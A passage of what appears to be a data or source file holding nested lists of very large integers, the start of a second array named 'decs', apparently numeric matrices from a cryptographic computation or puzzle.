" [7503815648137835623633928908026634268809031294258885949835577932991551684326479035967478500815007330124699296552386744061078390279474906126983473131361457, 517085287840211601988852717333025651543354193848581180361524137645161828289912704202563130110076170698930364863314183468128997409605722958136316077734530, 5724764168253792229212915794697062329944092605014768297918462045297662162184149766936115995003351086537086561574773654746415361212648745094116828978295020, 3639948528224714524564720995846802672262850341944997181161147771994015264205138188708735892795368527120761488028791763149844037465964179709648469762555824, 1996658703261117272315591280755250309625003189705696221886914582021672743701691591400294937006485404034508213268486922139046722585071583080245415702180249, 5854344777452763751097312294575305394885110378245323007589910653339136099487547731936058883676897252944352967735775656496547751132757455499551970245425695]]",
],[
"[[4142966158080332138958719296085307659474717767714537501855968569758510970898872704183969562028412015410390256327865091382562555916585490197551596901677206, 3309591966565927469547142030300182972401693693173284431034969587172314225378687012723540096186981934345664040301679812673216990119926924397905478453782764, 7974600173720957953874706487245414735251695851837024540307255552068202392981276531695083340087660655952495580229623667946838501336946927271970939890094723, 5947852292319848880088187514510157132800608058863460672082331054051522802043061451297495654992583303306271833700629605646551702513995808902817275696539249, 7100080830805993173052349538080494024761329429286294972979579809460279431028028974593563483053866040627311300382935810274400004739868331416420545771671422, 6558273465204762436217210307162989499667728489359642522934002979377431799100773631151220238278419661583371986060364276315138546368027535310336945680258670]",
" [2840490862360559354660829223867315195431655376210133755307052160937672029815642504039980897764148115084301110639033739477985172264213275482449637566421360, 6710234940392904619450564864329878239437191922729346269321730292801235450918443521840531827334495750234543839693795456479565117572881828439207757113404606, 5459127950122918793594675136313198614392536025537452584841784330333120045258882956470432342963862172949396736598630853879989542106646738628474882810953923, 2178572274870741909871720262271328202473789076421411154230632881219232825085148052262513138344575247014716814295471162760633570095436802363279962296633795, 3987598929357050135366978488660387267432714423171749207544118308316039894528382978157352243969276772736680596922022687119459646037986449481991291748628618, 2024902144322406614350233184927366471486890515107991809354366260580482272527636329402329397409634649458879747700584350370572156900419424472868547186593360]",
" [1498492921735640032986138858013958757519628043121172031589454777341434900343222204559076961695754179170730082672258120917458239788637259913772898361521847, 4864344039062918801025101278865083141322858986857848293898712293003589974382160530941177875846399027389228962349309222554589076119872103474333419369053851, 2462864971287447708964822871813409504140747459549362890067151215613292331696212627896633552129568697175511348654874942332715044494016075272784917786947218, 2623588663724514586603028974920037397101081162205258258310198464072618713807393699930112573876157620581559492728800256794227874920840455057841204267385984, 4344176111507936643938257701970293486790854967904547087244417044486225512480959311202754841913794306523148715533359916432972643555060070985084871375458635, 4684429010652906597384359986697493707480954795978106655351181904714252698787948384322672455923378033684337433076559772457714364710895070852720903248048403]",
" [3094809101588133868012247838377864107063046678418484799557310357839176311498648412754403353283488526446663492189084478143087631556421796037154271613530982, 1218400677817303283419143220351644298083219232639648088727276181512443774345428394435178602717321214991504434155157033450518496774161363519006999208996135, 4976753807830652142749798556684057210150843887981733255268786503127364803970061440811526959851457134202789772724304527348366540795510690626533948343450809, 6306187871445324721376028421212670926552209813936211954520585336810602819267101506169718411421085148520086757665184120904287963419432043464919483057889859, 1833106920968942472486810225194666867138304485980231800031340809947587741111962230539893512445140276665700453661111529177756750801229299829920856895396686, 5944983656008702843299825744939879522916964169773676855236153835126217946521860091930095349890238031759118454121655056243894407323812224360177569100681000]",
" [5470100782607793034630848954199211025033364467462884963827914367440359149323628825139100538085878619141578685582945640118065146890881393360543180203471251, 5171544658380490479076590885600853495465746668635150049085401445916609195612855329299638211404766486396082950210344531073980204186651305524726021531325664, 1244059226470035685649983657879334539158679284156712950290916476402509092101488788455310664127922470760345136669007686978437241324069402309374833631914586, 6967709626175609013358397510337425358395174371229548954405617743045323413987645698831341456070932190075222891888017751268883695493968837263913485133305445, 7145820732880643161292993687975828061608307352265755530784841001628971312586770768906184846878446322646098014767246222344293599082131962615681304617559937, 3552213214242624595495939080725627959411013586354641573603156281331127763767251533180374921899865664711745093743958999874317193547172471377963591251620128]",
" [851140108791000166571631972962293784153219617798846393093315381220816911521196933317687423641269525559585526151386313107528665448997595805482294246239089, 1168888526444803924291868279492845217956322680712562211421799837645552433255744395900173892042349172636688101861404896773414028579661301015641406267503827, 8307676367556241030465865911667154755418491039388345767526932278953889131312732355323179135364080085649208641044736578248317119148421511456627180081650047, 3111883634392521585662726441377712558441898247735045724634797815613834787479737455763556806453700269602829897176786944686912691419674834905293916928612403, 493688661625095845632754316439965382734982826018467933521946919606183875577604067566523895593065527258387500288356968626006667045818791030945375791371265, 6672246490840772483328152820802055369074899989726836656614268373590524941644149544728485295788618518339997370708760033538160320833911042156114289430168259]]",
],[
"[[4294586530722642936230913732280313153324014162135400081989906682467693258981754249388650314342909302403332897052040072868039272184571093012201838964340321, 6851311731105828323508935384408131212989592492085986340490178394613987804277946161747269539307822811773779910247817389225162805300663748270666352664694912, 7445848879449328490484858548937458836874810726938013083419359083403063924579619000179125578952358903504702986501722634764413336868852609114220231520158545, 4245331744608409800948251415401811315377043954627846503577483698684091346108485839172854930100465318721469301971504574388329356861635386776340956419410561, 2524164254835585858547575249056871436345007554440042610074219425984917114029395174632688395035896917704724223519178893446799155149468704315599439767740341, 3079040969490207471709368741103968515943143091614028783336673228555732331897660321609778520391062295987199035149198223393401088192203747979253112799218243]",
" [2188125640236177761325853053554464439600809922713117197060049687812806966237022273285130579917715518193767676797779333918486292349092082957639341840012013, 5954114384739037961445602960202347946468372717550983864767105412181253131002083972649921499389197883776500760554065477625866643754140920892418175361034094, 161196877018423459477130072332389485653215582939061486440276711149514065908771227465544969481870875455750990873044314177330347591481699945563448476106124, 326569940087117899399973175118512397897376267722474819092581847150412917239894174119650490785178420070080189450598743803454442567987772960256396599814155, 3301252077380374305512176550701911384544265052352967816266146320923681951255255971134223651300690786241704021739952765315676883054879275869129174259833138, 4568088877791822593747508913130037278911145087845848022704553886229696822317289941498149558482536793473292305523241480453324020617483439539823637562939729]",
" [4142235316184468155383946652709310109790206386549011396265857743955056144907720041893045753774796277558014951898631886253305214194514850581636271448393150, 1505860708579779802632551609865947381020054803091214304835576473913167770033716516183879852424809444359212477179027146718823917701679872216146098250842679, 862995457544552571962897078981704497509922344653036387641185203310028754124566465543795764930760660021518514216339207482103458418097936687140867626651664, 7380999536553929794945329323991276296521566478806749394005852816185202657485437751515555741984322082870761440982045522874765122086616393453518624288482970, 8177872865899998379874804144179981100994754907286004866439820048795477109627968466058964166668732830444380212876099032237429298685424283843207417850980482, 2531756810425209693207802343461520767426727495074093780005982524948202502360216494748505421706675070560277994692428742114656094151005599015977813566066854]",
" [6012413239108225185118846377674125100624076533901364620955031609880201868348953667083753300650249209931549704442244703646690580289154360443712539662755906, 75478720791987570557638978786617957306242071415729697405854434163206571125662369745735791675779117818890553687862539007518050975276162933287153763530183, 6172258191234383067466415025066292342453944633150297681215825916136098321483099791194342067287913863085527938439026930327889536860415583600549645261495110, 3478026486685252250847811456053848120324037883921786789252387532110297642203456951104817930735414530345554362717170717556082209886160388068405878050810154, 6091287475937491835526776429518913507657248887272965960122968835469307263017006291508462764133499416398582191523731810388969654450921326826138469146771773, 1911975711851516766398139407709197789709745409969770893108067454436507668646905680603265654282908085373460682429979016499086135730542393136042776288721287]",
" [247607048235078846193431949417599266918305741095175921742741844041886801219092820111970359780202178236269708009124884096234721191886888611962939880229426, 4671245859635075958942633991095376060756694865947685266926252833023839845188233941081884357821287893069593523648094684543533415178614624231307563823351401, 5679273703503918152812232669898291973206737557660055256657927379386522628733001757224178668683554510605996983938105909356133304870897484424204292205515268, 8018681185256784871229059492967727947760537261542163211674140763233904104139454452148287303774439729091138652291781142407590925917529889531270441139906421, 326254091227477180817965783454170870965767896452885532388493678916823013955810072598402438281924110666128100203506218327819701065408806755407311242830738, 6351764683627587285426254487172052276822980587945584990276984099405244031268635472275382151114691984671543910569116020973818432007400352749043075924267223]",
" [2934084480818665892133298175315611662675750923848403193702575234096133696704420360408812922229952046664786077320398073567283595477092331628751168377260429, 2702971780145465037755452475002972037641878795501654571524736037581495711555764515048562443988879558913647148233447684313507383230737812824146039564631438, 3510009608744725312305137912397957487280451619075546442470816105919906071151134805973394575081517775238921146826060832587697009202633665010598476771475590, 6735600497877785763985120635749781510954256265031451120044373628578040597519091505960229286345532799033567933441513361675596988204228241092707272486292888, 6331570377496859138398107440177059495573658357208322202344572810989546166661904679486139998148952954664520480503964828505186604944549915552937843437842041, 1804183631544749515380449970137190291551922148246932745543193886115473113238103625577173800110106738950279159165741239630881015351100075657555603208156572]]",
],[
"[[4968683861434171684601355692918598994624099811023292544468652135223903340511708347656789843705004960932393440027854713788525353567373860981507177649773607, 5595705002215941301409024503605721013015469826071690246107482152553843883028284949629950173462732446266241491392805161172384971684999868394197385752445416, 4286737153216173284787867155801768688108523892607929446668619838061094469705559992931980174373515069746066212838661975545002590656805380476542362725271002, 4204089108427436471216147684286411870141895429513017452488126013324281584537102445507275117430536050156362238289255953854213319803935756225117480218383122, 7025685473566478581286387054433719733553531795177678851985157113053593787524636967042269532802589141046592866977635514936516421782571173890597388207549066, 2463151706292928134891805524035274511228046219919510900408646388924380199421744453651847970686739006955949047186310553858056367105435662313213560456611531]",
" [4891527949940283099704697375041714324696439699082778801351762121938023616389973505015902221643933993175633995511129719111111377890060254242316545299417420, 6331247541175722843144833572707234301083196591139789644478912381354963485110531716582045185563188797635804761631567751743454531102308181403317261223067742, 5799702271552974587368235497113879686330801757476585256123218040617018568872228653730253719132930193061792310101890400376617445858815249879062372000716438, 5285071254826656181653411547841011646885877919352437589006365716334598210869827686730923415703151160538179519148097034508177804527471456572164849312356068, 3488593723018207301771020395877467723891293176723984258976551897896959026994777540305049609868261458037510023081093486672385348566220154697985135310193265, 465709527067128858974544819001709341513008052107253402519547367834589105697731624901398498526586170910264575721202537734329710985577791449558870421150780]",
" [1698775592830292691960781606887432750870966165173163801511742508351163518732004309112679665488726997307678246989684168613272644762573566694049909867786018, 6762456403165987999571295806935721686561535240411438814452191654809071301774747496301954790819812193827548020001965946275168545485309758940038000259894263, 8053208397205153224118587091941600612430937640575196082466581194373539361534742933993142648949631506019331769416346300029845044434278396155786709863703537, 6431442883269169587447201310292427891017337738666403616507728635718919443116271070115625638893805741562252688290536862255276990999879367754218615944598023, 1961577081848769881624530167388862458722971960047725591513277757972073277689436266637228137009777776001198006540392563233620307460764793210325708393063009, 7424819120528389039413166367502911790631327249932124307559542127663595902765071804368418015688682978263460891327002176010098512425496964487473175150580122]",
" [3099133037326574470019999137162541445312920361301713736369120667535904254578401662708156610175259332217190643542103061411495105834143373870828914832865002, 160238057392934982555975349611915781645837143713073615920183996903380864206981947105867343162002258474414387207133979082728320621468604309781582511951088, 6784949222656838334237227879971054289305884844425125415930646871142470424628162894774062159557013769730900537576805399947944431961812633037576246377668286, 4771991159213767563692205071745593603786155666455449976593966887126725218122123840771200082010022206861827920348139510860675015265589355532522990639810817, 7078269725463557296288671756507332416717134039679973284500455716873268888041727604449078845419747458015337409768552405138320348550373301903960780110670154, 473043590696156651936592992082529722952354043415035208698954788136973319482547878724520235789279992686903230572966197079862091080647225480694318877833097]",
" [860308360952054463603678554832209063987952481311950104420577800427756375927658911446570182349376521237033672859268913636478819317333047290118814508992452, 2117728894428050383781683349187845909336374723736919669859270692153507231933166548223872570008851187937388562590434330585430194758410449595201932226443889, 8197401845415390928122696895744194618004324526344851368231497739620939364883081065838752969603564196225450709525862159387503489791210342588632262466086030, 5334112205463788971332794524777461476265456087847083142753118864607149081798628939642108149251407866251517469948458833865202842305916225169609197315795727, 1614395370662982438105904065510318843109739279928729356829880223846164085280733154395904831113364353086361418717316648687269044568724510821076200388146799, 5653475264208344724309438807566406059607008128826086382521847355847734504273935887555493950069681121059847823271259176920253273605885312207539937539689914]",
" [6340347872017318908956894333407476397371496893443498190375890434197631652422473272888132388384427404544861194233523006008907232629502099183597533807439690, 1801763267709706445555844426959376327673666215229192208493921083690341146196757120470567390909286925855189584391504242923326355047471832162200114296386911, 6261626742078680773544091341916225211553967093815659620515961025963553967728687784024755382080470242071300132301028574691902557046582094732660761872983168, 4660397716658022871431615792588400855257650927421683461538763978330776157777980889890829210068628374684814758277704148006747501373072138010147591119895919, 5715475719538182925576102591997075584923997141089680042140925657206830065724813988725465857588803734171861826250121262083500742508603801135822041531196434, 7700794835235627079708396467395803405253945316799593198326551968277842336451710680326440904239414627790908277676500941871815612380684137252049009143144583]]",
],[
"[[6026074209279274329990933569668284342503610816563732250654247650674363804660211693285032292481354605420362661212268840643561949774509472817713328688623765, 909265464923786831978209284919880039748910840779768796419560402642413357343703937209973221912375966203231053118164109252039042853920177799805704516103174, 5158778877844193855457945703697926036010006996990419695234126858259473532731325412517070938302865645686267247508514706751034400415632035076212920878422576, 6070474262657979178977938347661660966351994524295895375749070433356950251514118757368845503299007167899299652073996215426524153875420265661792231754887079, 7919681353610591216713480609154619366228624975958065021280890452861263460856957064483441971552814364458934332972301632169075236237746431462791971249801831, 7771845743640663427697751161498079799580920523763081040177308355623663654649248055735868212826978177248773758139438459769910462618115988338830544068378585]",
" [2858333287432894788717637973374075855887601445385187506076430340303150920651992568577569802829952112513489114683328642851829498455744369082012778154906666, 2147863743702927379471013395121431888225423219634031486896606309614350211386659011116045718039977043618504300347316373917977349212350478123296759318796773, 6898475899408474684193661789505079425257427204739916629730618697188816139730012187358851368029282255373737626083372988331451791582790305710035363236959336, 3509338163209541637005355465942153610385634020589949535952926042076346456968055895321223699750408090861171600814869653793502315828908555578715033087896149, 3241592416202741216192687999950150744045296387443426578085929718855951296491032239447448473892111884352600341528256403833356980243026312896400575656049809, 5789458318992433122033130154478274178079166374283077681307396263075408723093607935671594325045057384123641606218001182051391994886038253855366849529354753]",
" [6344734283849448435040456120881038004894442078928666345775855613571699888679383513902187131582592735413062485915147985358493759047071343064236145727908219, 2919186457664364434140689147489970659081118115921303679252481616027317195706543864009789709548011945928680678321726205496580911093238728814017533667594973, 5641011729571636967413581090749612826658826261050023702081301346576604566805849840103569634482879952047204742375339465263433179139875477538150726701763265, 6648778066220911288490633083608635846932196677947592098351814691279093080035501956075117122447914641863393811924621742329179392915154448372371014065504445, 7619291037330181094946596768025264171717411660456382927894459664090758812717122046283771698376285527937037674035398887373177130077492103742062212886163025, 5642266477967826822913189671524005865414019376726305508463935836642936385469546081989947849866560577494659019739596070221094118703247102059464743878568891]",
" [4262947026630164601858257129588431955897190063963508972179727886786019259048968177194271008752391161568653004262683974674414149273856486366228543344913000, 1869560572007735124678304924227461987092285103203641068918925148799333468129332831832870895875917780813031821937201367347963933727892590872108299012005869, 5755029907289847859049113746767461325074061536502133051252255981211365749791511858197802369296271568697697709341939739327750403558317960291951172764498781, 3241776025309710871791852789847911737036999175777475448208696464457037977086550412211729231764676546174077682994919805913962597750838490410677877013728679, 8219268112466518365390174242457284021680068693089614302528336198136387871485670976958645252762747084522276720090485457669338953541862551371200885270765815, 1683726293640745842740690561302686830031530461687176323143208659837668235136711057358493177404064747390647736777994614018745841060015177249145906861105473]",
" [5065978317023450886869636923128240935192234622477004794992269341285699515157069559780410655984628572299512568759480188645284776307245338451417439134381242, 834609417068851012804881790592092206146283825477798786079589540168257196863472197624866369199517025460199386220442733623568603104317650584392857367233381, 8323036515592231699175116720556320612328626764120469566466703238400941700366660438206702621802846038596252803470969979900669870335818141988801335913197312, 1360397733765332909364374129600335209346554498028740392100519691722941406311347756497423040440596315739821204842341334740440306545267896315279385209180102, 2676810376308276168570457483867670902787901207942587380088818908288267563610106817220355331680484281456097962585320084246177558207079050833163151172240100, 5235304962197501762186977784019622237371274488352582544352491891989926021338490722150706721573792918987895316036714533978543263817127613123649317308494547]",
" [6834288668098063589238774995348641267783026738082709752327889836217087372874387973055669326959508393206838052929912759681026360888464723120042349885188434, 673652273323259000657228240998131535223013486465728777271551865123550251285003576138850540816422919438741762970198719949755190787198382360763273312590315, 7212526317272871542189039326192976929138398259716565154496031930321310719288306828588752473478544979007905825037835297842412849240912391179000858676799712, 5251885809216336886160723907008203992087044109974083392131987588746818933121837766428376662469891136113986104404675393851386590872504064514493464555038925, 1651157632355642135828289539558817376205460777539819298783108948714324618572576384136957273517032073902785009635243894065127631582097051032304091520027841, 5346704789523742907790623142409450623003295048473687834443737913041729246709285231357410413236097410528723341348129830251075816904565861886692668785582732]]",
]]


decs = [[
"[[2844109057510656923952466146137977471293285267640412110199566979647354787906393156285834223940331193724189323464515484588843099726061450009464982167363979, 125916803622691675236944550713708261925575740355980424077863979267031143507142192003574195189606667919494728339899426590217941804787294091472836181979618, 2301116634732889691363783861688383805064805446983873924596986057123279745240097714252600957729107714044009450138910574228537794368157134175788489075101887, 318718888938183765413971514294620140188603772378957854020135927374029520979205807536035574112228698461453451334048806756709044268568170142201246274686358, 3581548137718255728735441891380935286649671069122492881974861581931460069998261032905255738809084983342499581115329928181006735187866597554565940406350071, 1932683864738983160770065609046590104547856589329224769538100818719624851753414261001979606628833175081417784893481924555671396711895564910212218499713899]",
" [2691317270866646045841863507061509422688151115399279272371014131635199743858944160207654869176928742872340793619768467281473074230762295646747198713946222, 2803821056668490611294073034573880698996327904364163613205066574880527207299722854493866385187457761354302112778750196964656219820117464591255587308956436, 7416674009208964021097121209524722754130842961724743081225001189966422801760770094830849512824989896782951038592712997139362070945792784323896787016169498, 3719840184651929957984572911239124079676389954211575123651119707259410824660795471354443799954849344767103278906571962515225176776757396456460541090109094, 2995544769758489298457142704209171657842738808927299330647038687710285584575338814061938327334458358987508853584418885238419183886108202465972930887110887, 5940859133985870915014135841063105428429837789335747298640249558337025498825081253006863038681921317009963110394635229471678948725009932123395016843274036]",
" [6376082358307257451205749418623852069997118930527314479534416555061858248170276757794093459526296308636373578776821341205910374376279234772810872748881983, 5066085503905096161136623097858570177957856682751451379070933347866958687538283356956487171430495292006265706430883197827230180336457644140372104724328334, 4142966158080332138958719296085307659474717767714537501855968569758510970898872704183969562028412015410390256327865091382562555916585490197551596901677206, 4616305000603287130514044371825742017052053964265541993650947153875101145638101586361278669954032766812737814100175724020289904342726054385277067676286804, 1113166586662803480963680152395157664454191074594839033967987761361054152225757464530635973020791602189280083008256756203699233356957633033034670156172928, 8216329012163198093711885101307543317315889194811330016537462700419616347968354448796223058848426932258539288048586370741307658014138324630712418973432157]",
" [364144574555009374750297629257274852374873723241785904499383818065495098908411646970636775717040065121435911253901267143831014003000039425075016593782034, 2858861295025590619087561528126895614881737776383493147663429048617262956170206200354493086400425789054162639058587230773727350065071069269350309590382596, 4264223566593622407978704074379629908789895617004358370463725929072038443697798175371172235998190853788062285303030286777519421275896099550692440604442681, 4294586530722642936230913732280313153324014162135400081989906682467693258981754249388650314342909302403332897052040072868039272184571093012201838964340321, 4091451910401992698266846737330721816141689812358014978331516770284464442271586784945440841874291832834672748424139549035428286622373862616028211338012061, 6438339303446640067227579174820262172629981330890794511531592941109554289154769324894722805821509664279434967416237787981010479929922911967058929166679865]",
" [5587093334135995986083360735485352854204527368470966702769228925775590084206906792273318925629470517002469802532918770202200217394138681758119484325066414, 3593328610123630778194362893561992060897854624730802836732605699869636402914783766363191454248648305612169940263300125706226785753523449789499843720440358, 3588030508028373611956236719360864811827502120910892768736216902649395284530510962777095486823540689694372081471034907908333781589795406000490642488041949, 6459014302685621753137017438065170120388446661864597875000129904060489261462745479477730691304387568706557792731987212886798260259885831493545409654489369, 4968683861434171684601355692918598994624099811023292544468652135223903340511708347656789843705004960932393440027854713788525353567373860981507177649773607, 7233689984894869853565759454569272654636093458603536889360627120961556618496782619599624378501284446870230187889012735008829819516472168433196508127237603]",
" [1945846165037523437516007090824291155275598508513657591554739203953826550004896307961950067281013940665818485203222990124547430406790237630242537045757105, 1102332120520063207293963623066527250484197278409152148555970978042797699606426242744435378285203945667722991845746930315998426492487436955497858827380329, 6644551238015566636915955801892798663419551962816439736650695789330973509225903446281229957833585877801555323798222450360207463711668293923945603317882608, 2669903916837893511869573380361941722065271422699858673015676916787860149509729586702413980191629024230851144830580838295829430204275324666071004934248179, 6217455310432758496081099525018232738411640273771126540899100532737437894949526826114679009854341393425978876590691222905876917609379827977150856405292547, 6026074209279274329990933569668284342503610816563732250654247650674363804660211693285032292481354605420362661212268840643561949774509472817713328688623765]]",
],[
"[[4941693658577867681038303101840510409533819832854703323965355625735153841765106813962542715811856254964742636832021227882811022942130841930358478558435907, 56171036128205755508538883963102969387344558464074098260555547217734898756638846378122970948913199830771092707777015698772354889777968705078189427181854, 6136910796662164005318180252428152756538635100940303658937334261945816257239532909517822522800060910877696064358242455528757222352937425632080755535570643, 6575029294988852338910771857289799382124197275600512689161019702859051570531333559918048551982503481396090767310523642336090023288588211266526798423915203, 1536593019898319782004109596204518227363355012525799598037158964058749260805802603510466868822335287693509076074505942961974563287211708993398495203027353, 7165628519647891975965561176354464305529552416246459135682260620798703689880463230701330530599818131538835341567069795370681541522412969700666271610502977]",
" [6608644479135878879961825267876166502003041756536554107464364729439150899307064811380614092195919101042854516287180555508113549664681197773924855302077717, 7355166896338964348820964068017746975540070022013196213734834768516181706828725637574436549441910722096531288758959579331909936735146191357660917332907963, 7997904514493817490586518572853164792048787226390785788551843811891786798035373096802564620036519892508964279551129533485642605668581577457921406917703628, 6887892800632606484966558821910100587474377609714336387215011916998719144166180216376775746119340429617469018718382473019320602847288453898298013618625672, 1880342575107077139310453841624157122627857267706235649672743116863424533690342105809373845174660939915193088657359205926902135232090322064962024549140331, 8209966839199345636176507549604144933930044434533882499384594299499620447950333026194246848876698349809284346969041263670092495850625513868459415207331293]",
" [1539425521774194159103749134992077113728917995375408476147592683150250155998443923659668798688032671852165800007791069242841829311771687251398346216852039, 6339191367272680905832707192005648733065964384720506610953614140382168141137552804505989932753211729812892394500653203034510843757056387704423194592354712, 6710234940392904619450564864329878239437191922729346269321730292801235450918443521840531827334495750234543839693795456479565117572881828439207757113404606, 7317296873783588837226089832500656366101062036385800804765238510994442328971968178343001888541022192242079501390014957341979886899161199213035008572713419, 3165037339984685931103205643383245621113545665082925694243632527922230737221604174919378736040017933838598333250170888664829181854903491324046610817342082, 3531261591525418419516039745535954920523249258954899083880341731445279772807798631871211623073404205368112754759178329288010056968576174335619638125826295]",
" [5204063723491395164990632503029915007599486118612882113586609632013943809054391382895377849024452784264411336649522892824154686936348729402865052927664731, 3398040247474293255865133456998190360562192505666142609086019263717792331578546567655781777245885805607693539548030290145453075413000418755157866736275022, 8205373056469945005243614638634735238748657099969778504535202804165817976151987839248794088773952900089951888388680137769044913759514770041717505159070826, 5954114384739037961445602960202347946468372717550983864767105412181253131002083972649921499389197883776500760554065477625866643754140920892418175361034094, 5553196416270743203036096331868866135180441744999427545785206688761693598557196098777463203340235933924825359289835743632917795730021344545672414911826665, 7703609971013701061033433064764787030933187045656042408206018347581350091770903003772734923115290648827087472314637301867646445993321820042935303426444085]",
" [5428421476705708804797591046800332903917270814329577101043427295849392558464636824810106143836948629832913405203887906542694982280317583695740776781685978, 7808024587606381841823012626694158383559956351297545851896267128157284093280307059390301992332006352198229255562903928114383069957165592046027297547291208, 5557854276381146344301338564968515042781540284154192447366776662721405758456202166909698765387912756786068744274097915604483404199857965374920308024277502, 1186480628993799509238406868671529548036728026210245963073518659436254029535526137519999258410544453828223237435930081036049062573877578921127233038929511, 6331247541175722843144833572707234301083196591139789644478912381354963485110531716582045185563188797635804761631567751743454531102308181403317261223067742, 2452607997188601940012581768760483474370192500420900777417313690866068695293422376404019750992669006376665329160197967816780539339986730346478453761248568]",
" [4051964780981721538892082627724566661632802765494656781895385914849186941862732373355616633061764416088396797548173138170497410128113600981520238816212394, 5442598131799872257365547011319499399904328099429997104986567216465017344799976192299422328073001764480217561658850288034925157546543820236297579425559516, 1335428489420253557529104258741582963116885318559308033255904033006750289486781668030090459873315506801206960798019731486160673014810731061840533470808219, 8035425483059224938922467922794604370628942801045728952009318306136251266217670866370498339498092389841679383834666252775162628045178053924972937568748807, 327862721427656078695469662045438319136656590718013216222496781044326648606852849035298726678131030847518281499963931064743996054768383423962543795662429, 2147863743702927379471013395121431888225423219634031486896606309614350211386659011116045718039977043618504300347316373917977349212350478123296759318796773]]",
],[
"[[4618213424565770411146840748114321323709066783329600365846065614659523847332403706350098558642482910217163851943566972776691293991332624500698677406980768, 797833652665786793611580416043483828968635724808050836936686284384288339874063909590210156337886279694067425375089119737969132653776565161006552634438777, 5074727449642845050548866024415222938937656270779409966777004787922358676060564650197716401718542950735856848360798894265170697028517868194425580167317106, 6034231640855875550713768013713537478059561553103969817356312638994388780709053787190129171728830136469071155773743802883520123198040378490346819960501035, 3668465071934316173822714740079284165491129803550087860690273712036617098296110778788943145288839852554180019384291106135558789352087057450692277214886858, 3646451777707571366690402280701107003450433045113342512743140688509051488936457321469153399682963354265264518320373301379793541293214052610141413314092676]",
" [5873140898166520344390164680198077282484427275978132653852328196961186159448587863181905176206158917851832904142521515321598586336875929394975184648885399, 3441946893521007741421732590063713555766555240284318674271124018119364508764887431406902462550146113764240464256827512351400430511618321455132612294688862, 7104921243735709731265242482270621705186914514258311345546176216299935571689923362380965167531067334857055001586546932040743128151797043165751526223349496, 1952732632034318055372601298963831261354049773018759250909308552680612576341102988093171040041432875677544549449262593590884103984847130039744898716911251, 861050253111600784514967740838855856694210678106908462736687233622328317244905060748728241577784094782437148665953059153280464798579330360842182218772070, 1779400964077963275269919475596752980144598164803349120181828124689374764393210795111476507696106106279362644720221184691978510520332784567657001049192067]",
" [1466351673349208425635868506832678626425971243915771149541555417960026500356366231752070753237087635066517752816841077548934529972754036796985785860705389, 8343267038136168252955315526973295394969412090232334329437962345492898886136512021569038691760745811930327312086280126983058509149092363499993619206419406, 2462864971287447708964822871813409504140747459549362890067151215613292331696212627896633552129568697175511348654874942332715044494016075272784917786947218, 129749993256360389349676260422988889733730113606404025012820994884340607003087642049927195909122214936401271588007158151366475169094876977665810741835155, 5489042892453908057602400782439519123177001149640230172414231339879498671985910167630218528920706509861771611063590509906159926142075793460870451169099750, 3510011116550773352516395906986871266038212319222011400872717513555679891579899393480777877925684185726326136902699859805899438183695701819382015278422217]",
" [3346233429296957306814387562425616675581515073080126756998190338084188359231153260593380678546853944784137138359500642062265091186377055320153308711959357, 6674450588885860327145530960825581631438769858152132247294446186819959456253107436959924296952478909529245675138682338232965585020869723858678551711413049, 1671028109195293854205209526893646252756854484887568775126074644383503273079390961081836592023149021257608316055332871183817232777228553186819734015904735, 862995457544552571962897078981704497509922344653036387641185203310028754124566465543795764930760660021518514216339207482103458418097936687140867626651664, 4097624284239463293409097755185003822236306958116960040445900847305145463728180796321717770886441788509161889425577363521121106699862791528562241301149721, 1168000093293649540494083183331271443062968306774219328095608943035613707675386388436362968036647528512821524896194702042471212815080704564629805723506240]",
" [544237836178792311834851103403069780813384605286274102856306992736455826856678540340034633965166932251047697760630096454307857933690845741638214848954216, 6917137412015796267037919457778857176441889792058781318163072406147330212794145254416925657940593080424796534857373501149285623336153554350235582033876303, 7749149334635546934299245786008571752316330928013574107506253746586030320370782908125098460411300758308607464404271325075079038281238559677474472746948375, 6010459480645052371578334738312073802221232667371338467608468494169382976195775981600713016439759648301958150036030930001577898158822621808638381275987724, 8053208397205153224118587091941600612430937640575196082466581194373539361534742933993142648949631506019331769416346300029845044434278396155786709863703537, 2613992124586939315486854557910065038469449414282516834884104219423001547527692668102429135074492238815772807365110829340569039761293584225127548674696168]",
" [74497055925961749021449502070381123451196923510452576765937746007989994193549226001616204878794708122357532651921737280680166307935457788270712113761456, 7588257623548625713289457954468579278674145819181185052222613183473418474866878301242769487727805907651384983988402794543196324883901900406363777733603722, 8304740518227692028080951978530321210144770410519999608197851220506595302061124470335554509980637375785937814503494452395699430787496857740874803678213207, 7295692695661461383175113151202710028893599170744867156457570900261268643847310849733886301356325424424668391089095052780916146288963096768973904399866261, 3014151605317886476265608585006133585757671383824608897419961767831805471356192444153734734179027335137552010763127797288433105271279054443395315707533539, 5641011729571636967413581090749612826658826261050023702081301346576604566805849840103569634482879952047204742375339465263433179139875477538150726701763265]]",
],[
"[[2688399857269946331943050840478987147469925875094059311995962934264463639665931000004316272555656696677155690631708201620746426398363571565978286218984002, 6308029144747958665246395708616075023307033724731211689891994654289888562311295551991688974349818166974389110403682827074289995711123279546083331209231265, 2152011515980725420669808885317800002590474041895676686512312738664405660018781318056249819885058019476733887657564482745536452249481178512269958596590230, 6819731034964828931841686789033658349304148381634985757230241695469398774621581755474573641628383386570332719916439712306669541956627644269313092760876260, 4581664498822654567804201699805726362105886776941844466771940157621988229894102417300587124552394707896873994045201880301439454981399869890002018631403747, 3790391680081197414651336448070665979584574578350631658103571121492434639726291911403471102378438185563920630890965302942457212967437362833437120082704625]",
" [7587832352708932802864674791308325470365692592839142580958969033771567213442408736119921813168087877720958630170523851625515148628144664231931876956707386, 4593859473771566885377512892325350785046727314256554621801809437883226073913499295032360693198614710666268276506172043380434238268834982567189996699511803, 3012930839631619751733551074850627582599372521869098141371338458050841274588801535747637882710669197517797228074996293626650392662390972880329743724246085, 6046444396333509512662430307455624543969851086322401672840058765815134849226896539102363961646080461358070544881738838509556652334974165010886960682947681, 7915038020993086428409029784703089142250356894325456099924117499971727953299963294767668921362215306788261955812719283693964181938168198457511002286663595, 3700685951509570395835732849255994496145994869449173962630415520447033149643812226050198594056926221940113818601235744379493910952998116767281520012438180]",
